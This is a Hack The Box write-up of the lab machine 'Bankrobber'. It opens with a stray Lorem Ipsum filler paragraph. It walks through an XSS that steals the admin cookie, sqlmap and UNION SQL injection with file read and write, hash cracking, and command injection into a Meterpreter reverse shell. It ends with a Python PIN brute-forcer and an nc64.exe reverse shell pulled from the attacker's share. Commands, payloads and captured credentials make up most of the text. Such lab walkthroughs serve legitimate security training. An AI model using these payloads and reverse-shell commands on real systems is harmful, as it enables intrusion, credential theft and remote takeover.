Bankrobber - Hack The Box

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hackthebox
Author

0xPThree

Published

February 2, 2020

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. root@p3:/opt/htb/machines/bankrobber# nmapAutomatorDirb.sh 10.10.10.154 All PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4) |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 |_http-title: E-coin 443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4) |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 |_http-title: E-coin | ssl-cert: Subject: commonName=localhost | Not valid before: 2009-11-10T23:48:47 |_Not valid after: 2019-11-08T23:48:47 |ssl-date: TLS randomness does not represent time | tls-alpn: | http/1.1 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysql MariaDB (unauthorized) Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

| http-enum: | /admin/: Possible admin folder | /admin/index.php: Possible admin folder | /Admin/: Possible admin folder | /css/: Potentially interesting directory w/ listing on ‘apache/2.4.39 (win64) openssl/1.1.1b php/7.3.4’ | /icons/: Potentially interesting folder w/ directory listing | /img/: Potentially interesting directory w/ listing on ‘apache/2.4.39 (win64) openssl/1.1.1b php/7.3.4’ | /js/: Potentially interesting directory w/ listing on ‘apache/2.4.39 (win64) openssl/1.1.1b php/7.3.4’ |_ /user/: Potentially interesting folder

DIRB: + http://10.10.10.154:80/elements.html (CODE:200|SIZE:34812) + http://10.10.10.154:80/generic.html (CODE:200|SIZE:13343) + http://10.10.10.154:80/index.php (CODE:200|SIZE:8245) + http://10.10.10.154:80/Index.php (CODE:200|SIZE:8245) + http://10.10.10.154:80/link.php (CODE:200|SIZE:0) + http://10.10.10.154:80/login.php (CODE:302|SIZE:0) + http://10.10.10.154:80/Login.php (CODE:302|SIZE:0) + http://10.10.10.154:80/logout.php (CODE:302|SIZE:0) + http://10.10.10.154:80/register.php (CODE:200|SIZE:0)

NIKTO: + /notes.txt: This might be interesting…

SSLSCAN: SSL Certificate: Signature Algorithm: sha1WithRSAEncryption RSA Key Strength: 1024

Subject: localhost Issuer: localhost

Not valid before: Nov 10 23:48:47 2009 GMT Not valid after: Nov 8 23:48:47 2019 GMT

  1. The site is vulnerable to XSS. Create an account and test to transfer E-coin. When transfering an admin must approve the transfer. The Comment field is vulnerable to XSS, we can get the admin cookie by tricking him to connect back to us.

    Start a nc session locally and then do the XSS.

    Amount: 1 ID Of Addressee: 1 Comment:

    root@p3:/opt/htb/machines/bankrobber/10.10.10.154# nc -lvnp 80 listening on [any] 80 … connect to [10.10.14.12] from (UNKNOWN) [10.10.10.154] 49706 GET /bogus.php?output=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1 Referer: http://localhost/admin/index.php User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Accept: / Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: nl-NL,en,* Host: 10.10.14.12

    Decode the base64 encoded username and password

    root@p3:/opt/htb/machines/bankrobber/10.10.10.154# echo YWRtaW4= | base64 -d admin root@p3:/opt/htb/machines/bankrobber/10.10.10.154# echo SG9wZWxlc3Nyb21hbnRpYw== | base64 -d Hopelessromantic

    Creds: admin:Hopelessromantic

  2. We are now able to login as admin and get a few more options, backdoorchecker.php where we are allowed to execute ‘dir’ but only from local host. And search.php where we can query the database for users.

    “search.php/term=1” is injectable, we can enumerate the database manually or using sqlmap. For simplicity, i chose to go with the second option - sqlmap.

    root@p3:/opt/htb/machines/bankrobber/10.10.10.154# sqlmap -u https://bankrobber.htb/admin/search.php –cookie=“id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D” –data term=1 –current-user –current-db –passwords –tables .. database management system users password hashes: [*] pma [1]: password hash: NULL [*] root [1]: password hash: *F435725A173757E57BD36B09048B8B610FF4D0C4 .. [16:49:43] [INFO] fetching tables for databases: ‘bankrobber, information_schema, mysql, performance_schema, phpmyadmin, test’ Database: bankrobber [3 tables] +—————————————————-+ | balance | | hold | | users | +—————————————————-+

    root@p3:/opt/htb/machines/bankrobber/10.10.10.154# sqlmap -u https://bankrobber.htb/admin/search.php –cookie=“id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D” –data term=1 –search -D bankrobber -T users .. Database: bankrobber Table: users [4 entries] +—-+——————+———-+ | id | password | username | +—-+——————+———-+ | 1 | Hopelessromantic | admin | | 2 | gio | gio | | 3 | test123 | p3 | | 4 | test | test | +—-+——————+———-+

    We find a second pair of credentials (gio:gio), and also a password hash for root (F435725A173757E57BD36B09048B8B610FF4D0C4)

    Manual example in Burp: term=1’ UNION ALL SELECT 1,concat(id,0x3a,username,0x3a,password),3 FROM users;

    1:admin:Hopelessromantic

     <td>2:gio:gio</td>

  3. Crack the password hash using hashcat, using rockyou.txt won’t give us the password - however using crackstation.net finds the password for us. I went ahead and added found password (Welkom1!) to rockyou.txt and ran hashcat again for poc.

    root@p3:/opt/htb/machines/bankrobber# echo Welkom1! >> /usr/share/wordlists/rockyou.txt root@p3:/opt/htb/machines/bankrobber# hashcat -a0 -m300 hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt Session……….: hashcat Status………..: Cracked Hash.Type……..: MySQL4.1/MySQL5 Hash.Target……: f435725a173757e57bd36b09048b8b610ff4d0c4 Time.Started…..: Mon Feb 3 17:09:03 2020 (1 sec) Time.Estimated…: Mon Feb 3 17:09:04 2020 (0 secs) Guess.Base…….: File (/usr/share/wordlists/rockyou.txt) Guess.Queue……: 1/1 (100.00%) Speed.#1………: 15110.2 kH/s (3.15ms) @ Accel:1024 Loops:1 Thr:64 Vec:1 Recovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress………: 14344387/14344387 (100.00%) Rejected………: 0/14344387 (0.00%) Restore.Point….: 14155776/14344387 (98.69%) Restore.Sub.#1…: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1….: 0213JR -> Welkom1! Hardware.Mon.#1..: Temp: 56c Util: 33% Core:1770MHz Mem:6000MHz Bus:16

    Started: Mon Feb 3 17:08:59 2020 Stopped: Mon Feb 3 17:09:04 2020

    root@p3:/opt/htb/machines/bankrobber# cat cracked.txt f435725a173757e57bd36b09048b8b610ff4d0c4:Welkom1!

    NOTE: root:Welkom1! (MariaDB - MySQL) NOTE: admin:Hopelessromantic (WebApp) NOTE: gio:gio (WebApp)

  4. We are unable to login anywhere with the found creds, so we continue to enumerate the box using the SQLi vuln. File Read and Write is possible, we can use this to get a webshell and/or enumerate interesting files such as backdoorchecker.php.

    POST /admin/search.php HTTP/1.1 Host: bankrobber.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://bankrobber.htb/admin/ Content-type: application/x-www-form-urlencoded Content-Length: 69 Connection: close Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D

    File Read: term=1’ UNION ALL SELECT 1,LOAD_FILE(’C:/xampp/htdocs/admin/backdoorchecker.php),3;–

    File Write: term=1’ UNION ALL SELECT 1,‘this is the content of my test-file’,3 into outfile ‘C:/xampp/test.txt’;– term=1’ UNION ALL SELECT 1,load_file(‘C:/xampp/test.txt’),3;–

  5. Backdoorchecker.php is secured in two way; First - Can only execute the command “dir”, however it doesn’t cancel the escape characters ; | etc. Second - Commands can only be ran from ::1

    The Second part is a issue, no matter how much we tamper with the HTTP Header (X-Forwarded-From etc.) it wont work. We need to find a way to get past this issue, and luckily there are two options - the hard way and the easy way.

    Hard - Create a javascript file to send a POST request to backdoorchecker.php with desired command in the “cmd” variable, and call it using the XSS vulnerability that gave us the admin cookie. Example: invisible iframe

    Easy - When logged in as admin, enumerating the site we find a javascript file called system.js. Within there’s a function, callSys, used to trigger the commands towards backdoorchecker.php. We can call this script and function as a new user, from the comment filed (where we previously executed our XSS to get admin cookie) to get RCE. Example:

           <script type="text/javascript">callSys('dir|ping 10.10.14.12');</script>

       root@p3:/opt/htb/machines/bankrobber# tcpdump -i tun0 icmp
         tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
         listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
         11:58:13.611598 IP bankrobber.htb > p3: ICMP echo request, id 1, seq 5, length 40
         11:58:13.611631 IP p3 > bankrobber.htb: ICMP echo reply, id 1, seq 5, length 40

  6. Use the RCE to trigger a reverse shell and grab user.txt

    Craft the payload: root@p3:/opt/htb/machines/bankrobber# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4488 -f exe > br-rev.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes

    Trigger the payload/reverse shell from the comments field:

    Capture the shell, and grab user.txt: msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.12:4488 [*] Sending stage (180291 bytes) to 10.10.10.154 [*] Meterpreter session 1 opened (10.10.14.12:4488 -> 10.10.10.154:56865) at 2020-02-05 13:05:25 +0100

    meterpreter > sysinfo Computer : BANKROBBER OS : Windows 10 (10.0 Build 14393). Architecture : x64 System Language : nl_NL Domain : WORKGROUP Logged On Users : 3 Meterpreter : x86/windows

    meterpreter > shell Process 4552 created. Channel 1 created. Microsoft Windows [Version 10.0.14393]

    1. 2016 Microsoft Corporation. Alle rechten voorbehouden.

    C:>whoami bankrobber C:>type user.txt f635346600876a43441cf1c6e94769ac

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  1. Enumerate the box to try to find a way towards root. We find the executable bankv2.exe running on port 910. We are unable to download the file, so instead we setup a port forward to access it locally.

meterpreter > netstat Connection list =============== Proto Local address Remote address State User Inode PID/Program name —– ————- ————– —– —- —– —————- tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 732/svchost.exe tcp 0.0.0.0:910 0.0.0.0:* LISTEN 0 0 2160/bankv2.exe

meterpreter > ls Listing: C:
============

Mode Size Type Last modified Name
100777/rwxrwxrwx 57937 fil 2019-04-25 01:10:31 +0200 bankv2.exe

meterpreter > download bankv2.exe [*] Downloading: bankv2.exe -> bankv2.exe [-] core_channel_open: Operation failed: Access is denied.

  1. We can’t download and investigate the file, so instead we setup portforwarding to reach the service locally.

    meterpreter > portfwd add -l 910 -p 910 -r 10.10.10.154 [*] Local TCP relay created: :910 <-> 10.10.10.154:910

    root@p3:/opt/htb/machines/bankrobber# telnet 127.0.0.1 910 Trying 127.0.0.1… Connected to 127.0.0.1. Escape character is ‘^]’. ————————————————————– Internet E-Coin Transfer System International Bank of Sun church v0.1 by Gio & Cneeliz ————————————————————– Please enter your super secret 4 digit PIN code to login: [$] 1111 [!] Access denied, disconnecting client….

    Instead of enumerating the PIN Code manually we write a simple python brute force script. After a lot of trial and error, the is the script I came up with that gave the correct PIN:

    import telnetlib from time import sleep

    def main(): host = ‘localhost’ port = 910 for i in range(0000,9999): connection = telnetlib.Telnet(host,port) response = connection.read_until(‘[$]’) print response pin = format(i,‘04d’) commandstr = pin + ‘’ print ’ Trying PIN: ’ + commandstr connection.write(commandstr) sleep(2) response_str = connection.read_until(‘’) if(“[!] Access denied, disconnecting client….” in response_str): print ” Wrong PIN, trying next one!” continue else: print ” PIN Found!” print response_str print ” ### Final PIN: ” + format(i,‘04d’) + ” ###” break return

    if name == ‘main’: main()

    ot@p3:/opt/htb/machines/bankrobber# brute-pin.py
    Internet E-Coin Transfer System
    International Bank of Sun church
    v0.1 by Gio & Cneeliz

    Please enter your super secret 4 digit PIN code to login: [$] Trying PIN: 0021

    Got response. [$] PIN is correct, access granted!

    ### Correct PIN: 0021 ###

  2. We found the PIN, however manually executing telnet and entering the PIN still gives us ‘[!] Access denied’. Continue to enumerate the service and what happens after we enter correct PIN by capturing and printing all the responses. Doing so we find that a second type of input is needed - transfer amount.

    .. [$] PIN is correct, access granted!

    ### Correct PIN: 0021 ###
    Please enter the amount of e-coins you would like to transfer:
    [$] ………
    [!] You waited too long, disconnecting client….

    We create a new script to capture the second input parameter (starting with ‘[$]’ again) and try to send some data. We start by trying to execute a simple ping, doing so gives us the following response:

    [$] PIN is correct, access granted!
    Please enter the amount of e-coins you would like to transfer:
    [$]
    Executing RCE: |cmd.exe /c “ping 10.10.14.21”
    [$] Transfering $|cmd.exe /c “ping 10.10.14.21” using our e-coin transfer application.
    [$] Executing e-coin transfer tool: C:.exe

    [$] Transaction in progress, you can safely disconnect…

    This doesn’t really give us anything. I try again but this time flood the input by sending ‘9999999999999999999999999999999999999999999999999’ and we get an interesting response:

    [$] PIN is correct, access granted!
    Please enter the amount of e-coins you would like to transfer:
    [$]
    Executing RCE: 9999999999999999999999999999999999999999999999999
    [$] Transfering $9999999999999999999999999999999999999999999999999 using our e-coin transfer application.
    [$] Executing e-coin transfer tool: 99999999999999999

    [$] Transaction in progress, you can safely disconnect…

    The executing row changed, now instead of executing transfer.exe it will try to execute ‘99999999999999999’. Notice that we lost a lot of 9’s from our input compared to the output.

    root@p3:/opt/htb/machines/bankrobber# echo 99999999999999999 | wc -c 18 root@p3:/opt/htb/machines/bankrobber# echo 9999999999999999999999999999999999999999999999999 | wc -c 50

    There seems to be a max limit of characters, so lets try to modify our script to add a padding of characters before our RCE.

    [$] PIN is correct, access granted!
    Please enter the amount of e-coins you would like to transfer:
    [$]
    Executing RCE: 99999999999999999999999999999999cmd.exe /c “ping 10.10.14.21”
    [$] Transfering $99999999999999999999999999999999cmd.exe /c “ping 10.10.14.21” using our e-coin transfer application.
    [$] Executing e-coin transfer tool: cmd.exe /c “ping 10.10.14.21”

    [$] Transaction in progress, you can safely disconnect…

    root@p3:/opt/htb/machines/bankrobber# tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes 10:43:55.390230 IP bankrobber.htb > p3: ICMP echo request, id 1, seq 13, length 40 10:43:55.390271 IP p3 > bankrobber.htb: ICMP echo reply, id 1, seq 13, length 40 10:43:56.397467 IP bankrobber.htb > p3: ICMP echo request, id 1, seq 14, length 40 10:43:56.397506 IP p3 > bankrobber.htb: ICMP echo reply, id 1, seq 14, length 40 10:43:57.412784 IP bankrobber.htb > p3: ICMP echo request, id 1, seq 15, length 40 10:43:57.412822 IP p3 > bankrobber.htb: ICMP echo reply, id 1, seq 15, length 40 10:43:58.428235 IP bankrobber.htb > p3: ICMP echo request, id 1, seq 16, length 40 10:43:58.428256 IP p3 > bankrobber.htb: ICMP echo reply, id 1, seq 16, length 40

    We got code execution!

  3. Use the RCE to gain a reverse shell as admin, and grab root.txt.

    oot@p3:/opt/htb/machines/bankrobber# python privesc.py
    Internet E-Coin Transfer System
    International Bank of Sun church
    v0.1 by Gio & Cneeliz

    Please enter your super secret 4 digit PIN code to login: [$] Entering: 0021

    PIN Correct! [$] PIN is correct, access granted!

    Please enter the amount of e-coins you would like to transfer: [$] Executing RCE: //10.10.14.21/pub-share/nc64.exe 10.10.14.21 4499 -e powershell

    ###################################### ### ### ### RCE Complete - Happy Hacking ### ### ### ######################################

    root@p3:/opt/htb/machines/bankrobber# nc -lvnp 4499 listening on [any] 4499 … connect to [10.10.14.21] from (UNKNOWN) [10.10.10.154] 50702 Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved.

    PS C:> whoami nt authority PS C:> type root.txt aa65d8e6216585ea636eb07d4a59b197

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XSS https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#javascript-keylogger https://www.ivoidwarranties.tech/posts/pentesting-tuts/website-pentesting/xss/ https://stackoverflow.com/questions/1045845/how-to-call-a-javascript-function-from-php

SQLi https://medium.com/@Kan1shka9/pentesterlab-from-sql-injection-to-shell-walkthrough-7b70cd540bc8 https://medium.com/bugbountywriteup/sql-injection-with-load-file-and-into-outfile-c62f7d92c4e2 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

JS POST Request: https://stackoverflow.com/questions/692196/post-request-javascript

XML HTTP: https://www.w3schools.com/xml/xml_http.asp https://www.w3schools.com/xml/ajax_xmlhttprequest_response.asp

Python Script: https://docs.python.org/release/2.5.2/lib/typesseq-strings.html https://blog.anshumanonline.com/bandit25/ ```